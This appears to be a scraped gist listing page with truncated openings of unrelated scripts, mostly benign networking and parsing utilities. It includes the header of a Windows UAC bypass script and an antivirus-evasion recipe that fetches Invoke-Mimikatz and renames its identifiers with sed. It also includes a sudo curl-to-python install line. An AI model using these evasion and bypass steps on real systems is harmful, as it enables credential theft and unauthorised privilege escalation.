This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import json | |
| import traceback | |
| class MasscanJsonFile: | |
| def __init__(self, filename, in_memory = True): | |
| self.filename = filename | |
| self.in_memory = in_memory | |
| self.hosts_port = {} | |
| self.port_hosts = {} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # -*- coding: utf-8 -*- | |
| # All credits go to CIA: https://gist.github.com/hfiref0x/59c689a14f1fc2302d858ae0aa3f6b86 (please don't hack me <3 :)) | |
| # This is trully a Always Notify UAC Bypass,cause it uses process enumeration to find elevated processes. Since you need administrative privileges to get TOKEN_ELEVATION,we look for processes with manifests that have <autoElevate></autoElevate> set to True. | |
| from ctypes.wintypes import * | |
| from ctypes import * | |
| from enum import IntEnum | |
| kernel32 = WinDLL('kernel32', use_last_error=True) | |
| advapi32 = WinDLL('advapi32', use_last_error=True) | |
| shell32 = WinDLL('shell32' , use_last_error=True) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/python3 | |
| # coding: utf-8 | |
| import requests | |
| from bs4 import BeautifulSoup | |
| from scrapy import Selector | |
| import csv | |
| import datetime | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # To get and run this script, excecute: | |
| # | |
| # sudo bash -c 'python <(curl "https://gist.github.com/aliqandil/a3e172a641286876d23bd93dbcdc0a0a/raw/create_mtproto_proxy_server.py" -sL -N)' | |
| # | |
| from __future__ import print_function | |
| from contextlib import closing | |
| from collections import defaultdict | |
| import socket, json, os, sys, shlex, hashlib, random | |
| #Checking admin rights: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| //+--------------------------------------------------------+ | |
| //| adapted for FILE_SHARE_READ from BP-Ticks-1.0.mq4 | | |
| //+--------------------------------------------------------+ | |
| // File identificator | |
| int file; | |
| uint startTick; | |
| uint tickTime; | |
| datetime theTime; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # -*- encoding: utf-8 -*- | |
| # requires a recent enough python with idna support in socket | |
| # pyopenssl, cryptography and idna | |
| from OpenSSL import SSL | |
| from cryptography import x509 | |
| from cryptography.x509.oid import NameOID | |
| import idna | |
| from socket import socket |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python | |
| # -*- coding: utf-8 -*- | |
| # 一个简单的 Socks5 代理服务器 , 只有 server 端 , 而且代码比较乱 | |
| # 不是很稳定 , 而且使用多线程并不是 select 模型 | |
| # Author : WangYihang <[email protected]> | |
| import socket | |
| import threading | |
| import sys |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| # Tcp Port Forwarding (Reverse Proxy) | |
| # Author : WangYihang <[email protected]> | |
| ''' | |
| +-----------------------------+ +---------------------------------------------+ +--------------------------------+ | |
| | My Laptop (Alice) | | Intermediary Server (Bob) | | Internal Server (Carol) | | |
| +-----------------------------+ +----------------------+----------------------+ +--------------------------------+ | |
| | $ ssh -p 1022 [email protected] |<------->| IF 1: 1.2.3.4 | IF 2: 192.168.1.1 |<------->| IF 1: 192.168.1.2 | | |
| | [email protected]'s password: | +----------------------+----------------------+ +--------------------------------+ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import time | |
| from threading import Thread | |
| try: | |
| import socketserver as SocketServer | |
| import http.server as SimpleHTTPServer | |
| except ImportError: | |
| import SocketServer | |
| import SimpleHTTPServer | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # AV Bypass to run Mimikatz | |
| # From: https://www.blackhillsinfosec.com/?p=5555 | |
| # Server side: | |
| wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1 | |
| sed -i -e 's/Invoke-Mimikatz/Invoke-Mimidogz/g' Invoke-Mimikatz.ps1 | |
| sed -i -e '/<#/,/#>/c\\' Invoke-Mimikatz.ps1 | |
| sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Mimikatz.ps1 | |
| sed -i -e 's/DumpCreds/DumpCred/g' Invoke-Mimikatz.ps1 | |
| sed -i -e 's/ArgumentPtr/NotTodayPal/g' Invoke-Mimikatz.ps1 |